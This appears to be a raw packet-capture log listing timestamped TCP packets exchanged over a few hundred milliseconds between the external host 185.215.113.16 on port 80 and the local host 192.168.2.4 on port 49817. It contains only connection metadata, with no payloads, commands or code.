Dec 20, 2024 11:12:34.152139902 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.152180910 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.152247906 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.152292967 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.153203964 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.153251886 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.153301954 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.153347969 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.154254913 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.154301882 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.154341936 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.154388905 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.155325890 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.155373096 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.155400991 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.155447006 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.156363010 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.156414032 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.156620979 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.156666040 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.157448053 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.157493114 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.157501936 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.157543898 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.158552885 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.158600092 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.158689022 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.158734083 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.159568071 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.159615040 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.159704924 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.159750938 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.160696030 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.160742044 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.160765886 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.160810947 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.161704063 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.161744118 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.161808014 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.161861897 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.162782907 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.162831068 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.162914038 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.162960052 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.162997961 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.163847923 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.163909912 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.163911104 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.163966894 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.164865017 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.164911032 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.164983034 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.165025949 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.166043997 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.166091919 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.302963972 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.303030014 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.303049088 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.303097963 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.303390980 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.303446054 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.303587914 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.303639889 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.304510117 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.304558039 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.304598093 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.304647923 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.305511951 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.305560112 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.305629015 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.305676937 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.306601048 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.306655884 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.306698084 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.306754112 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.307631016 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.307679892 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.307718039 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.307766914 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.308681011 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.308723927 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.308801889 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.308859110 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.309743881 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.309794903 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.309828043 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.309900999 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.310827017 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.310875893 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.310897112 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.310942888 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.311880112 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.311933041 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.311964989 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.312010050 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.312956095 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.313003063 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.313019037 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.313070059 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.313998938 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.314049959 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.314062119 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.314101934 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.315053940 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.315103054 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.315144062 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.315191984 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.316103935 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.316149950 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.316189051 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.316236019 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.317167044 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.317215919 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.317301035 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.317347050 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.318223953 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.318270922 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.318274021 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.318326950 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.319271088 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.319333076 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.319365025 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.319411993 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.320333958 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.320384026 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.320415974 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.320480108 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.321374893 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.321425915 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.321475983 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.321521044 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.322453976 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.322504044 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.322540998 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.322590113 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.323558092 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.323609114 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.323616982 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.323658943 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.324582100 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.324630976 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.324668884 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.324719906 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.325613976 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.325664997 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.325706005 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.325756073 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.326750040 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.326793909 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.326883078 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.326948881 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.327750921 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.327805042 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.327841997 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.327889919 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.328828096 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.328876019 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.328946114 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.329008102 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.329879045 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.329925060 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.329963923 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.330012083 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.330943108 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.330976009 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.330986023 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.331022978 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.332083941 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.332129955 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.332133055 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.332179070 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.333036900 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.333085060 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.333142996 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.333187103 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.334112883 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.334157944 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.334191084 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.334269047 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.335165977 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.335208893 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.335261106 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.335316896 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.336219072 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.336266994 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.336389065 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.336436987 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.337306023 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.337358952 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.337467909 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.337536097 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.338401079 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.338447094 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.338720083 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.338763952 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.339390039 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.339438915 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.339519024 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.339561939 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.340441942 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.340491056 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.340531111 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.340576887 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.341502905 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.341553926 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.341818094 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.341862917 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.342648983 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.342694044 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.342807055 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.342875004 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.343640089 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.343688011 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.343761921 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.343822956 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.344764948 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.344810963 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.344821930 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.344876051 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.345729113 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.345777988 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.345850945 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.345906019 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.346820116 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.346870899 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.347109079 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.347161055 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.347872972 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.347923994 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.347970963 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.348017931 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.348951101 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.349001884 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.349011898 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.349059105 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.349988937 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.350034952 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.350106001 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.350152969 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.351140022 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.351187944 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.351191998 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.351236105 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.352082014 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.352119923 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.352190018 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.352266073 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.353146076 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.353194952 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.353271961 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.353315115 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.354196072 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.354240894 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.354296923 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.354346037 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.355329037 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.355377913 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.355401993 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.355513096 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.356396914 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.356456041 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.356487989 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.356530905 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.357388973 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.357439041 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.357479095 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.357523918 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.358395100 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.358458042 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.495203972 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.495249987 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.495268106 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.495292902 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.495718002 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.495768070 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.495769978 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.495819092 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.496743917 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.496794939 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.496805906 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.496857882 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.497802973 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.497852087 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.497926950 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.497968912 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.498836040 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.498886108 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.498964071 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.499012947 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.499892950 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.499941111 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.499980927 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.500027895 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.500976086 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.501034975 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.501072884 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.501117945 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.502027035 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.502082109 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.502120018 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.502167940 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.503107071 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.503155947 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.503195047 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.503240108 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.504153967 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.504204035 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.504276991 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.504340887 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.505259991 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.505306005 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.505492926 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.505541086 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.506253004 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.506303072 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.506320953 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.506369114 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.507328033 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.507376909 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.507410049 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.507457972 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.508409023 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.508457899 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.508553982 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.508599997 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.509423971 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.509469986 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.509541988 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.509586096 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.510488987 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.510535955 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.510622025 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.510669947 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.511553049 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.511603117 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.511655092 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.511704922 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.512587070 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.512638092 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.512729883 CET	80	49817	185.215.113.16	192.168.2.4
